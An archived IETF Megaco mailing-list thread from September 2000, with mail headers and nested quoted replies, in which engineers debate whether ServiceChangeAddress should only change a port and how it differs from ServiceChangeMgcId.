	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 15:15:20 -0400 (EDT)
Received: from standards (47.234.32.16:1788) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB903FA@standards.nortelnetworks.com>; Tue, 5 Sep 2000 15:01:38 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 17651 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 15:01:38 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB903F9@standards.nortelnetworks.com>; Tue, 5 Sep 2000 15:01:37
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id PAA23723; Tue, 5 Sep 2000 15:14:36 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id PAA22669; Tue, 5 Sep 2000 15:14:35 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <R69XH35M>; Tue, 5 Sep 2000 15:14:35 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF6787F9@whq-msgusr-02.pit.comms.marconi.com>
Date:         Tue, 5 Sep 2000 15:14:27 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         Tom-PT Taylor <taylor@nortelnetworks.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

>You accept the principle that ServiceChangeMgcId implies a new
>control session.  All else is implementation :-)
Sure, I'm arguing that establishing a new control session is
low cost, and maintaining the current one is more expensive at
the MGC, and it doesn't matter much either way for the MG.

>Mind, as I see it, ServiceChangeMgcId implies the same burden
>at the transport level as ServiceChangeAddress, PLUS the
>application-level ServiceChange transaction.
No matter what, the MG has to tear down the transport connection
It's what the MGC has to do.

If it tries to maintain the current association, it has to keep
track of the change in transport connections, holding off any
messages until the MG has the new transport up, and then,
without the MG sending something, it sends a message (probably
Audit) to the MG on the new transport.

I think it's much easier to punt the current control association
and have both start over again.

Brian
> -----Original Message-----
> From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> Sent: Tuesday, September 05, 2000 2:58 PM
> To: Taylor, Tom-PT [NORSE:B901:EXCH];
> MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: RE: Supplying only a port on a ServiceChangeAddress
>
>
> The question I'm still left with is how you would actually
> achieve less overhead, given that the MG has to take the
> transport connection down, and the MGC has to watch that happen.
>
> I suspect that there is MORE work for the MGC to do that,
> rather than just tell the MG to create a new association.
> Remember that there is virtually no state that could be saved
> from the first ServiceChange, so that starting over is
> pretty low cost.
>
> The real cost is the MG sending another ServiceChange and the
> MG replying -- that's dirt cheap.  The cost of keeping the
> association, but changing the transport connection, seems
> more work to me. I'll admit that with UDP, that cost is
> close to zero also -- it's TCP (and SCTP) that has real cost.
>
> Brian
> -----Original Message-----
> From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> Sent: Tuesday, September 05, 2000 2:38 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Supplying only a port on a ServiceChangeAddress
>
>
> As I noted in one or two previous messages,
> ServiceChangeMgcId has higher
> overhead than ServiceChangeAddress in that it implies a new
> control session.
> That is, the MG has to send a ServiceChange to the new
> address before it can
> send anything else.
> > -----Original Message-----
> > From: Flemming Andreasen [mailto:fandreas@CISCO.COM]
> > Sent: Tuesday, September 05, 2000 11:29 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Supplying only a port on a ServiceChangeAddress
> >
> >
> > Let's take a step back here and ask ourselves what we are
> > trying to achieve:
> >
> > 1. We have a need to identify the entity we wish to
> communicate with
> > 2. We have a need to communicate with that entity.
> >
> > This is a classical naming issue that doesn't need to become overly
> > complicated. In order to get from the name in 1 to the
> > address (or route) in
> > 2, you need to perform name resolution in the cases where the
> > name itself is
> > not an address. For domain names, this name resolution is
> > achieved by DNS,
> > for IP-addresses, it should normally be a NOP. By having both
> > ServiceChangeMGGId and ServiceChangeAddress, you are
> > effectively providing
> > an alternate name resolution mechanism which overrides DNS
> > and allows one
> > IP-address to map to another. We should not be doing that,
> > and I also note
> > that this was probably not the authors' intent, since
> > ServiceChangeAddress
> > and ServiceChangeMGCId are not both allowed in a single command.
> >
> > That still leaves open the question of exactly what
> > ServiceChangeAddress
> > then is, and I believe Brian answered that earlier with his
> > two proposals.
> > In a perfect world, I would prefer getting rid of
> > ServiceChangeAddress, but
> > we may be beyond that. Does it make sense to allow just a
> > port number then ?
> > Considering that we already allow for port in mId, port is
> > part of the name
> > and for the same reasons as we shouldn't map one IP-address
> > to another, we
> > shouldn't map one port to another either IMO. If the MGC (or
> > MG) wants the
> > other party to talk to it on another port, it simply sends
> > back another
> > ServiceChangeMGCId with that port number in it.
> >
> > -- Flemming
> >
> >
> >
> > "Rosen, Brian" wrote:
> >
> > > It depends on what you want to have happen.
> > >
> > > If you want the MG, on receipt of a reply with a
> > ServiceChangeAddress,
> > > to tear down it's current transport connection, create a new one,
> > > and stand by for messages from the MGC, then I suppose
> you would be
> > > correct.
> > >
> > > If it was TCP (and I guess SCTP), this is pretty weird,
> because the
> > > MG established a full duplex connection, but the next message is
> > > almost certainly from the MGC.  The MGC is going to have to
> > watch for
> > > this carefully, and not send messages until the new
> channel is up.
> > >
> > > Or, the MGC can just use ServiceChangeMid.  The MG will
> respond by
> > > tearing down the transport, establishing a new one, and sending
> > > a new ServiceChange.  The MGC "fires and forgets" -- the new
> > > ServiceChange, at the "new" address, looks like a complete
> > new start.
> > >
> > > Brian
> > >
> > > -----Original Message-----
> > > From: Christian Groves
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Sent: 9/3/00 7:38 PM
> > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > >
> > > G'Day Brian and Flemming,
> > >
> > > I saw that the difference between when you use
> > ServiceChangeAddress and
> > > ServiceChangeMid was that the ServiceChangeAddress was used
> > when talking
> > > to an already contacted physical MGC. The ServiceChangeMid
> > was used to
> > > contact a physically seperate MGC. So I don't see the need of
> > > disallowing anything but the port in IP as the MGC may have
> > a range of
> > > addresses.
> > >
> > > Cheers, Christian
> > >
> > > "Rosen, Brian" wrote:
> > > >
> > > > I thought you might say that, I've been thinking about it
> > > > since I sent the message.
> > > >
> > > > Posing the question slightly differently, if the
> > ServiceChangeAddress
> > > > can do what ServiceChangeMid can do, so why have two
> mechanisms?
> > > > The only difference would be the MGs actions.  If you used
> > > > ServiceChangeAddress,
> > > > the MG would not send a new ServiceChange command to the
> > new address.
> > > > If you used ServiceChangeMid, it would.  The end result
> > would be the
> > > same.
> > > >
> > > > We can:
> > > >         Explicitly disallow ServiceChangeAddress from
> > being used to
> > > >                 change anything but IP Port when used with IP
> > > >         Get rid of one of the two of them
> > > >
> > > > I favor the former, as that is easiest, is most consistent with
> > > > history, and makes the most sense to me.  I'll note that what
> > > > we call ServiceChangeAddress used to be "port".  It got
> > > > changed when we realized "port" wouldn't make sense if it was
> > > > not an IP transport.
> > > >
> > > > Brian
> > > >
> > > > > -----Original Message-----
> > > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > > Sent: Tuesday, August 29, 2000 7:37 PM
> > > > > To: Rosen, Brian
> > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > "Rosen, Brian" wrote:
> > > > >
> > > > > > I think the issue is that you can have the same MGC
> > have multiple
> > > > > > IP addresses.  You accept the association, but change
> > the address.
> > > > > > Say, a pool of servers appearing to be one MGC.
> > > > >
> > > > > I'm not sure I fully understand what an association is then.
> > > > > What's the
> > > > > difference/relationship between the association
> address and the
> > > > > ServiceChangeMgcId (which may itself contain an address or
> > > indirectly
> > > > > refer to a number of addresses through DNS) ?
> > > > >
> > > > > -- Flemming
> > > > >
> > > > >
> > > > > >
> > > > > >
> > > > > > Brian
> > > > > >
> > > > > > > -----Original Message-----
> > > > > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > > > > Sent: Tuesday, August 29, 2000 6:38 PM
> > > > > > > To: Rosen, Brian
> > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > > Subject: Re: Supplying only a port on a
> ServiceChangeAddress
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > > "Rosen, Brian" wrote:
> > > > > > >
> > > > > > > > Suppose all you want to specify in a
> ServiceChangeAddress
> > > > > > > is a port number
> > > > > > > > that is, the IP address doesn't change, but the
> port does.
> > > > > > > >
> > > > > > > > The ABNF sez:
> > > > > > > > serviceChangeAddress = ServiceChangeAddressToken
> > EQUAL VALUE
> > > > > > > >
> > > > > > > > This is because it could be IP, ATM, FR, MPLS....
> > > > > > > >
> > > > > > > > The example shows just a port number.
> > > > > > >
> > > > > > > Actually, I thought that's all that would be
> allowed in the
> > > > > > > case of IP. If
> > > > > > > not, how can it be within the "context of the association
> > > > > > > currently being
> > > > > > > negotiated", and how would it then relate to
> > ServiceChangeMgcId
> > > ?
> > > > > > >
> > > > > > > -- Flemming
> > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > > Should that be legal?  Should you have to
> specify the IP
> > > address
> > > > > > > > as x.x.x.x:p?
> > > > > > > >
> > > > > > > > Brian
> > > > > > >
> > > > > > > --
> > > > > > > Flemming Andreasen
> > > > > > > Cisco Systems
> > > > > > >
> > > > > > >
> > > > >
> > > > > --
> > > > > Flemming Andreasen
> > > > > Cisco Systems
> > > > >
> > > > >
> >
> > --
> > Flemming Andreasen
> > Cisco Systems
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 15:17:49 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA11667
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 15:17:48 -0400 (EDT)
Received: from standards (47.234.32.16:1788) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90410@standards.nortelnetworks.com>; Tue, 5 Sep 2000 15:03:20 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 17675 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 15:03:20 -0400
Received: from qhars002.nortel.com (47.101.112.102:55780) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9040F@standards.nortelnetworks.com>; Tue, 5 Sep 2000
          15:03:19 -0400
Received: from ertpg14e1.nortelnetworks.com (actually zrtph06m) by
          qhars002.nortel.com; Tue, 5 Sep 2000 20:16:09 +0100
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by
          ertpg14e1.nortelnetworks.com; Tue, 5 Sep 2000 15:15:49 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <SK4PFSKB>; Tue, 5 Sep 2000 15:15:47 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480D10@zcard00g.ca.nortel.com>
Date:         Tue, 5 Sep 2000 15:15:45 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         Flemming Andreasen <fandreas@CISCO.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I think we agree that MId is just an identifier of a peer in a control
session.  I still ask myself why we defined it to be an address rather than
an arbitrary string.  I suspect we changed intentions since it first showed
up.

> -----Original Message-----
> From: Flemming Andreasen [mailto:fandreas@CISCO.COM]
> Sent: Tuesday, September 05, 2000 3:12 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Supplying only a port on a ServiceChangeAddress
>
>
> Bharat Kaul wrote:
>
> > Hi Flemming, Brian and List,
> >
> >   ServiceChangeMGCId should be kept for contacting a new
> MGC or rather
> > establishing new control Session.
> >
> > ServiceChangeAddress is for redirection within a MGC e.g.
> MG contacts MGC at
> > a default port and based on some policy MGC wants to assign
> MG to a specific
> > port, it should send ServiceChangeAddress specifying the
> port.These two
> > semantics seem clear and fair enough.
>
> I quite frankly don't understand the need for having port as
> an identifier and
> then being able to specify another port to override it, while
> keeping the
> identifier port the same.
>
>
> >
> >
> > Port in MID should be just a tool to identify an entity
> uniquely, with one
> > requirement that MID for a control session is consistent between two
> > entities.
>
> In that case it should be called something different than a
> port, or at least be
> treated as something different.
>
> -- Flemming
>
>
> >
> >
> > - Bharat
> >
> > -----Original Message-----
> > From: Flemming Andreasen [mailto:fandreas@CISCO.COM]
> > Sent: Tuesday, September 05, 2000 8:29 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Supplying only a port on a ServiceChangeAddress
> >
> > Let's take a step back here and ask ourselves what we are
> trying to achieve:
> >
> > 1. We have a need to identify the entity we wish to communicate with
> > 2. We have a need to communicate with that entity.
> >
> > This is a classical naming issue that doesn't need to become overly
> > complicated. In order to get from the name in 1 to the
> address (or route) in
> > 2, you need to perform name resolution in the cases where
> the name itself is
> > not an address. For domain names, this name resolution is
> achieved by DNS,
> > for IP-addresses, it should normally be a NOP. By having both
> > ServiceChangeMGGId and ServiceChangeAddress, you are
> effectively providing
> > an alternate name resolution mechanism which overrides DNS
> and allows one
> > IP-address to map to another. We should not be doing that,
> and I also note
> > that this was probably not the authors' intent, since
> ServiceChangeAddress
> > and ServiceChangeMGCId are not both allowed in a single command.
> >
> > That still leaves open the question of exactly what
> ServiceChangeAddress
> > then is, and I believe Brian answered that earlier with his
> two proposals.
> > In a perfect world, I would prefer getting rid of
> ServiceChangeAddress, but
> > we may be beyond that. Does it make sense to allow just a
> port number then ?
> > Considering that we already allow for port in mId, port is
> part of the name
> > and for the same reasons as we shouldn't map one IP-address
> to another, we
> > shouldn't map one port to another either IMO. If the MGC
> (or MG) wants the
> > other party to talk to it on another port, it simply sends
> back another
> > ServiceChangeMGCId with that port number in it.
> >
> > -- Flemming
> >
> > "Rosen, Brian" wrote:
> >
> > > It depends on what you want to have happen.
> > >
> > > If you want the MG, on receipt of a reply with a
> ServiceChangeAddress,
> > > to tear down it's current transport connection, create a new one,
> > > and stand by for messages from the MGC, then I suppose
> you would be
> > > correct.
> > >
> > > If it was TCP (and I guess SCTP), this is pretty weird,
> because the
> > > MG established a full duplex connection, but the next message is
> > > almost certainly from the MGC.  The MGC is going to have
> to watch for
> > > this carefully, and not send messages until the new channel is up.
> > >
> > > Or, the MGC can just use ServiceChangeMid.  The MG will respond by
> > > tearing down the transport, establishing a new one, and sending
> > > a new ServiceChange.  The MGC "fires and forgets" -- the new
> > > ServiceChange, at the "new" address, looks like a
> complete new start.
> > >
> > > Brian
> > >
> > > -----Original Message-----
> > > From: Christian Groves
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Sent: 9/3/00 7:38 PM
> > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > >
> > > G'Day Brian and Flemming,
> > >
> > > I saw that the difference between when you use
> ServiceChangeAddress and
> > > ServiceChangeMid was that the ServiceChangeAddress was
> used when talking
> > > to an already contacted physical MGC. The
> ServiceChangeMid was used to
> > > contact a physically seperate MGC. So I don't see the need of
> > > disallowing anything but the port in IP as the MGC may
> have a range of
> > > addresses.
> > >
> > > Cheers, Christian
> > >
> > > "Rosen, Brian" wrote:
> > > >
> > > > I thought you might say that, I've been thinking about it
> > > > since I sent the message.
> > > >
> > > > Posing the question slightly differently, if the
> ServiceChangeAddress
> > > > can do what ServiceChangeMid can do, so why have two mechanisms?
> > > > The only difference would be the MGs actions.  If you used
> > > > ServiceChangeAddress,
> > > > the MG would not send a new ServiceChange command to
> the new address.
> > > > If you used ServiceChangeMid, it would.  The end result
> would be the
> > > same.
> > > >
> > > > We can:
> > > >         Explicitly disallow ServiceChangeAddress from
> being used to
> > > >                 change anything but IP Port when used with IP
> > > >         Get rid of one of the two of them
> > > >
> > > > I favor the former, as that is easiest, is most consistent with
> > > > history, and makes the most sense to me.  I'll note that what
> > > > we call ServiceChangeAddress used to be "port".  It got
> > > > changed when we realized "port" wouldn't make sense if it was
> > > > not an IP transport.
> > > >
> > > > Brian
> > > >
> > > > > -----Original Message-----
> > > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > > Sent: Tuesday, August 29, 2000 7:37 PM
> > > > > To: Rosen, Brian
> > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > "Rosen, Brian" wrote:
> > > > >
> > > > > > I think the issue is that you can have the same MGC
> have multiple
> > > > > > IP addresses.  You accept the association, but
> change the address.
> > > > > > Say, a pool of servers appearing to be one MGC.
> > > > >
> > > > > I'm not sure I fully understand what an association is then.
> > > > > What's the
> > > > > difference/relationship between the association
> address and the
> > > > > ServiceChangeMgcId (which may itself contain an address or
> > > indirectly
> > > > > refer to a number of addresses through DNS) ?
> > > > >
> > > > > -- Flemming
> > > > >
> > > > >
> > > > > >
> > > > > >
> > > > > > Brian
> > > > > >
> > > > > > > -----Original Message-----
> > > > > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > > > > Sent: Tuesday, August 29, 2000 6:38 PM
> > > > > > > To: Rosen, Brian
> > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > > Subject: Re: Supplying only a port on a
> ServiceChangeAddress
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > > "Rosen, Brian" wrote:
> > > > > > >
> > > > > > > > Suppose all you want to specify in a
> ServiceChangeAddress
> > > > > > > is a port number
> > > > > > > > that is, the IP address doesn't change, but the
> port does.
> > > > > > > >
> > > > > > > > The ABNF sez:
> > > > > > > > serviceChangeAddress =
> ServiceChangeAddressToken EQUAL VALUE
> > > > > > > >
> > > > > > > > This is because it could be IP, ATM, FR, MPLS....
> > > > > > > >
> > > > > > > > The example shows just a port number.
> > > > > > >
> > > > > > > Actually, I thought that's all that would be
> allowed in the
> > > > > > > case of IP. If
> > > > > > > not, how can it be within the "context of the association
> > > > > > > currently being
> > > > > > > negotiated", and how would it then relate to
> ServiceChangeMgcId
> > > ?
> > > > > > >
> > > > > > > -- Flemming
> > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > > Should that be legal?  Should you have to specify the IP
> > > address
> > > > > > > > as x.x.x.x:p?
> > > > > > > >
> > > > > > > > Brian
> > > > > > >
> > > > > > > --
> > > > > > > Flemming Andreasen
> > > > > > > Cisco Systems
> > > > > > >
> > > > > > >
> > > > >
> > > > > --
> > > > > Flemming Andreasen
> > > > > Cisco Systems
> > > > >
> > > > >
> >
> > --
> > Flemming Andreasen
> > Cisco Systems
>
> --
> Flemming Andreasen
> Cisco Systems
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 15:23:27 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA11742
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 15:23:26 -0400 (EDT)
Received: from standards (47.234.32.16:1788) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9044A@standards.nortelnetworks.com>; Tue, 5 Sep 2000 15:09:44 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 17746 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 15:09:44 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB90449@standards.nortelnetworks.com>; Tue, 5 Sep 2000 15:09:44
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id PAA24485; Tue, 5 Sep 2000 15:22:38 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id PAA24880; Tue, 5 Sep 2000 15:22:39 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <R69XH360>; Tue, 5 Sep 2000 15:22:40 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF6787FA@whq-msgusr-02.pit.comms.marconi.com>
Date:         Tue, 5 Sep 2000 15:22:31 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Yeah, the mId started life as the thing in the header that let an
MGC know which entity it was talking to.  It's always been an
address though - desirable as an FQDN and acceptable to be a hard
address.

The intention of ServiceChangeMid was to be the referral address for an
association that was not acceptable to the MGC.  ServiceChangeAddress used
to be port, and it was just for changing port numbers, not addresses.  We
went downhill (IMO) from there.

I'm with Flemming, one thing is all we need, but we are stuck with 2 for
now.

Brian

> -----Original Message-----
> From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> Sent: Tuesday, September 05, 2000 3:16 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Supplying only a port on a ServiceChangeAddress
>
>
> I think we agree that MId is just an identifier of a peer in a control
> session.  I still ask myself why we defined it to be an
> address rather than
> an arbitrary string.  I suspect we changed intentions since
> it first showed
> up.
>
> > -----Original Message-----
> > From: Flemming Andreasen [mailto:fandreas@CISCO.COM]
> > Sent: Tuesday, September 05, 2000 3:12 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Supplying only a port on a ServiceChangeAddress
> >
> >
> > Bharat Kaul wrote:
> >
> > > Hi Flemming, Brian and List,
> > >
> > >   ServiceChangeMGCId should be kept for contacting a new
> > MGC or rather
> > > establishing new control Session.
> > >
> > > ServiceChangeAddress is for redirection within a MGC e.g.
> > MG contacts MGC at
> > > a default port and based on some policy MGC wants to assign
> > MG to a specific
> > > port, it should send ServiceChangeAddress specifying the
> > port.These two
> > > semantics seem clear and fair enough.
> >
> > I quite frankly don't understand the need for having port as
> > an identifier and
> > then being able to specify another port to override it, while
> > keeping the
> > identifier port the same.
> >
> >
> > >
> > >
> > > Port in MID should be just a tool to identify an entity
> > uniquely, with one
> > > requirement that MID for a control session is consistent
> between two
> > > entities.
> >
> > In that case it should be called something different than a
> > port, or at least be
> > treated as something different.
> >
> > -- Flemming
> >
> >
> > >
> > >
> > > - Bharat
> > >
> > > -----Original Message-----
> > > From: Flemming Andreasen [mailto:fandreas@CISCO.COM]
> > > Sent: Tuesday, September 05, 2000 8:29 AM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > >
> > > Let's take a step back here and ask ourselves what we are
> > trying to achieve:
> > >
> > > 1. We have a need to identify the entity we wish to
> communicate with
> > > 2. We have a need to communicate with that entity.
> > >
> > > This is a classical naming issue that doesn't need to
> become overly
> > > complicated. In order to get from the name in 1 to the
> > address (or route) in
> > > 2, you need to perform name resolution in the cases where
> > the name itself is
> > > not an address. For domain names, this name resolution is
> > achieved by DNS,
> > > for IP-addresses, it should normally be a NOP. By having both
> > > ServiceChangeMGGId and ServiceChangeAddress, you are
> > effectively providing
> > > an alternate name resolution mechanism which overrides DNS
> > and allows one
> > > IP-address to map to another. We should not be doing that,
> > and I also note
> > > that this was probably not the authors' intent, since
> > ServiceChangeAddress
> > > and ServiceChangeMGCId are not both allowed in a single command.
> > >
> > > That still leaves open the question of exactly what
> > ServiceChangeAddress
> > > then is, and I believe Brian answered that earlier with his
> > two proposals.
> > > In a perfect world, I would prefer getting rid of
> > ServiceChangeAddress, but
> > > we may be beyond that. Does it make sense to allow just a
> > port number then ?
> > > Considering that we already allow for port in mId, port is
> > part of the name
> > > and for the same reasons as we shouldn't map one IP-address
> > to another, we
> > > shouldn't map one port to another either IMO. If the MGC
> > (or MG) wants the
> > > other party to talk to it on another port, it simply sends
> > back another
> > > ServiceChangeMGCId with that port number in it.
> > >
> > > -- Flemming
> > >
> > > "Rosen, Brian" wrote:
> > >
> > > > It depends on what you want to have happen.
> > > >
> > > > If you want the MG, on receipt of a reply with a
> > ServiceChangeAddress,
> > > > to tear down it's current transport connection, create
> a new one,
> > > > and stand by for messages from the MGC, then I suppose
> > you would be
> > > > correct.
> > > >
> > > > If it was TCP (and I guess SCTP), this is pretty weird,
> > because the
> > > > MG established a full duplex connection, but the next message is
> > > > almost certainly from the MGC.  The MGC is going to have
> > to watch for
> > > > this carefully, and not send messages until the new
> channel is up.
> > > >
> > > > Or, the MGC can just use ServiceChangeMid.  The MG will
> respond by
> > > > tearing down the transport, establishing a new one, and sending
> > > > a new ServiceChange.  The MGC "fires and forgets" -- the new
> > > > ServiceChange, at the "new" address, looks like a
> > complete new start.
> > > >
> > > > Brian
> > > >
> > > > -----Original Message-----
> > > > From: Christian Groves
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Sent: 9/3/00 7:38 PM
> > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > >
> > > > G'Day Brian and Flemming,
> > > >
> > > > I saw that the difference between when you use
> > ServiceChangeAddress and
> > > > ServiceChangeMid was that the ServiceChangeAddress was
> > used when talking
> > > > to an already contacted physical MGC. The
> > ServiceChangeMid was used to
> > > > contact a physically seperate MGC. So I don't see the need of
> > > > disallowing anything but the port in IP as the MGC may
> > have a range of
> > > > addresses.
> > > >
> > > > Cheers, Christian
> > > >
> > > > "Rosen, Brian" wrote:
> > > > >
> > > > > I thought you might say that, I've been thinking about it
> > > > > since I sent the message.
> > > > >
> > > > > Posing the question slightly differently, if the
> > ServiceChangeAddress
> > > > > can do what ServiceChangeMid can do, so why have two
> mechanisms?
> > > > > The only difference would be the MGs actions.  If you used
> > > > > ServiceChangeAddress,
> > > > > the MG would not send a new ServiceChange command to
> > the new address.
> > > > > If you used ServiceChangeMid, it would.  The end result
> > would be the
> > > > same.
> > > > >
> > > > > We can:
> > > > >         Explicitly disallow ServiceChangeAddress from
> > being used to
> > > > >                 change anything but IP Port when used with IP
> > > > >         Get rid of one of the two of them
> > > > >
> > > > > I favor the former, as that is easiest, is most
> consistent with
> > > > > history, and makes the most sense to me.  I'll note that what
> > > > > we call ServiceChangeAddress used to be "port".  It got
> > > > > changed when we realized "port" wouldn't make sense if it was
> > > > > not an IP transport.
> > > > >
> > > > > Brian
> > > > >
> > > > > > -----Original Message-----
> > > > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > > > Sent: Tuesday, August 29, 2000 7:37 PM
> > > > > > To: Rosen, Brian
> > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > > >
> > > > > >
> > > > > >
> > > > > >
> > > > > > "Rosen, Brian" wrote:
> > > > > >
> > > > > > > I think the issue is that you can have the same MGC
> > have multiple
> > > > > > > IP addresses.  You accept the association, but
> > change the address.
> > > > > > > Say, a pool of servers appearing to be one MGC.
> > > > > >
> > > > > > I'm not sure I fully understand what an association is then.
> > > > > > What's the
> > > > > > difference/relationship between the association
> > address and the
> > > > > > ServiceChangeMgcId (which may itself contain an address or
> > > > indirectly
> > > > > > refer to a number of addresses through DNS) ?
> > > > > >
> > > > > > -- Flemming
> > > > > >
> > > > > >
> > > > > > >
> > > > > > >
> > > > > > > Brian
> > > > > > >
> > > > > > > > -----Original Message-----
> > > > > > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > > > > > Sent: Tuesday, August 29, 2000 6:38 PM
> > > > > > > > To: Rosen, Brian
> > > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > > > Subject: Re: Supplying only a port on a
> > ServiceChangeAddress
> > > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > > "Rosen, Brian" wrote:
> > > > > > > >
